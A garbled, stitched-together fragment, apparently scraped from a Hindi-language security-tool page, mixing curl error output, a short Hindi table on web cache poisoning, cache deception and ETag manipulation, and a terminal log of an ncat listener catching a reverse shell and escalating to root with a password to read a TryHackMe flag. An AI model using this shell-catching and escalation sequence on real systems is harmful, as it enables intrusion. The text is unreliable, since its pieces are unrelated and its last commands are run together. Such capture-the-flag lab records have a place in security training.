      100 48 0 0 0 48 0 0 --:--:-- 0:01:05 --:--:-- 0{ [0 bytes data]
    - transfer closed with outstanding read data remaining
      100 48 0 0 0 48 0 0 --:--:-- 0:01:05 --:--:-- 0
    - Closing connection 0
      curl: (18) transfer closed with outstanding read data remaining
    
    
    तकनीकविवरण
    वेब कैश पॉइज़निंगकैशे में सामग्री में हेरफेर करके दुर्भावनापूर्ण स्क्रिप्ट इंजेक्ट करना। प्रॉक्सी सर्वर और CDN पर लक्षित।
    वेब कैश डिसेप्शनURL पैटर्न और एक्सटेंशन का शोषण करके संवेदनशील प्रतिक्रियाओं को संग्रहीत करने के लिए कैशे को धोखा देना।
    ETag मैनिपुलेशनसशर्त अनुरोधों को बाध्य करने और अकैश्ड प्रतिक्रियाएँ प्राप्त करने के लिए ETag हेडर में परिवर्तन।
    $ ncat -lvp 4242
    Ncat: Version 7.91 ( https://nmap.org/ncat )
    Ncat: Listening on :::4242
    Ncat: Listening on 0.0.0.0:4242
    Ncat: Connection from 10.10.37.52.
    Ncat: Connection from 10.10.37.52:35836.
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    daemon@18c7613b3859:/bin$ cd /root
    cd /root
    bash: cd: /root: Permission denied
    daemon@18c7613b3859:/bin$ su root
    su root
    Password: ApacheCVE

    cd /root

    ls root.txt cat root.txt THM{P21V_35C_F20M_4P4CH3_15_FUN}

    root@kitploit:~
    टूल डाउनलोड करें